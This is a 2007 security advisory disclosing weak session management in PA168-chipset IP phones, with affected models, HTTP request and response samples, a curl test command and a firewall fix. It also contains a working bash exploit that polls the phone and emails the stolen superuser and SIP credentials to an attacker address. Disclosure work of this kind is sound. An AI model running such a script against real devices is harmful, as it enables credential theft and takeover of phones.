[NEWS] IP Phones Based on PA168 Chipset Have Weak Session Management
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- Date: 24 Jan 2007 19:27:26 +0200
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IP Phones Based on PA168 Chipset Have Weak Session Management
------------------------------------------------------------------------
SUMMARY
There is a problem with the way IP Phones using the PA168 chipset handle
authenticated sessions, allowing remote attackers to gain access to the
admin web console running as superuser.
DETAILS
Vulnerable Systems:
* ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54
* SOYO G668 Ethernet IP Phone running SIP firmware version v1.42
The following vendors/models also use the same PA168 chipset/firmware and
are therefore most likely to be vulnerable to the same issue:
* AriaVoice
* AT-323 from ATcom
* JR168_100B from IPLink
* JR168_100W from IPLink
* JR168_200 from IPLink
* Netweb-401/402 from NetWebGroup
* OB-WAN VoIP: Ethernet#1 and Ethernet#2 phones are PA168-based
* Vida some phones PA168 based
* Wuchuan HOP-1001/1002/1003
* Giptel IP phones G100, also Siptronic ST-100 and Siptronic ST-150
(PA168S chipset)
* GNET some phones PA168x based
* KE1020 Netphone (Meritline)
* ML210 Meritline
* Integrated Networks IN-1002. Found on eBay.
* ArtDio IPF-2000 and IPF-2002L phones
* Perfectone IP300
Details:
When the superuser account authenticates to the admin web console, a
request such as the following is sent to the IP phone's web server:
POST /a HTTP/1.1
Referer: http://192.168.1.100/
Host: 192.168.1.100
Content-Length: 31
auth=12345678&login=+++Login+++
At this point, the superuser session is considered *active* by the web
server. All it takes for attackers to perform an administrative task at
this point, is for them to send a well-formed request to the web server.
Since no authentication tokens or password are submitted within the HTTP
requests, anyone can perform administrative tasks while the session is
active. Even if the attacker sends the administrative requests from an IP
address different to the one used by the superuser account, the IP Phone's
web server would accept them as long as the superuser's session is still
active.
A script called "active-session-attack.sh" has been created, which
remotely checks repeatedly until a superuser account has logged on by
sending a forged superuser request every five seconds. As soon as the
superuser session becomes active, the following information will be
obtained from the settings page, and emailed to the attacker:
- IP phone's superuser password - grants administrative access
- IP phone's user password - grants restricted access
- SIP gateway hostname/IP address
- SIP account username
- SIP account PIN number
REQUEST:
POST /g HTTP/1.1
Host: 192.168.1.100
Content-Length: 13
back=++Back++
RESPONSE (output has been partially omitted for clarification):
HTTP/1.1 200 OK
Content-Length: 16727
Content-Type: text/html
Connection: close
<TITLE>IP Phone V1.54</TITLE>
[output omitted]
<INPUT name=sipproxy value="sip.test.com">
<INPUT name=domain value="sip.test.com">
<INPUT name=account value="myaccount" size=24 maxlength=32>
<INPUT name=pin type=password value="1234">
<INPUT name=superpassword type=password value="12345678">
<INPUT name=password type=password value="1234">
[output omitted]
In order to test this vulnerability, the following steps have been
provided:
1. Log into http://192.168.1.100 from computer A using the superuser
password ('12345678' by default)
2. Send the following curl command from computer B:
curl -d "back=++Back++" http://192.168.1.100/g
3. The administrative settings page should be returned without any
password required.
Note: the IP phone's web server is enabled by default
Fix:
Use access control lists on routers or firewalls in order to only allow
trusted IP addresses to access ATCOM AT-320ED IP Phone's web server.
Exposing the PA168-based IP Phone's admin web server on the Internet is
not recommended.
References:
<http://www.voip-info.org/wiki/view/PA168>
http://www.voip-info.org/wiki/view/PA168
<http://www.centralitycomm.com/> http://www.centralitycomm.com/
<http://www.aredfox.com/eindex.htm> http://www.aredfox.com/eindex.htm
<http://www.atcom.cn/En_products_At320ED.html>
http://www.atcom.cn/En_products_At320ED.html
<http://www.soyogroup.com/products/proddesc.php?id=307>
http://www.soyogroup.com/products/proddesc.php?id=307
Exploit:
#!/bin/bash
host="192.168.1.100";
attackers_email="adrian.pastor-AT-procheckup.com"
req="POST /g HTTP/1.0\r\nContent-length: 13\r\n\r\nback=++Back++\r\n\r\n";
while true
do
res=`echo -en $req | nc -nv $host 80`;
if echo $res | grep superpassword # if this gets returned, then we
got the settings page with all SIP account and IP phone creds
then
echo "GOT IT!"
echo $res > "admin-settings-page"
echo $res | mail $attackers_email -s "PA168 IP Phone
admin's settings page"
exit 1
else
echo "bad luck"
fi
sleep 5
done
ADDITIONAL INFORMATION
The information has been provided by
<mailto:adrian.pastor@xxxxxxxxxxxxxx> Adrian Pastor.
The original article can be found at:
<http://www.procheckup.com/Vulner_PR0614.php>
http://www.procheckup.com/Vulner_PR0614.php
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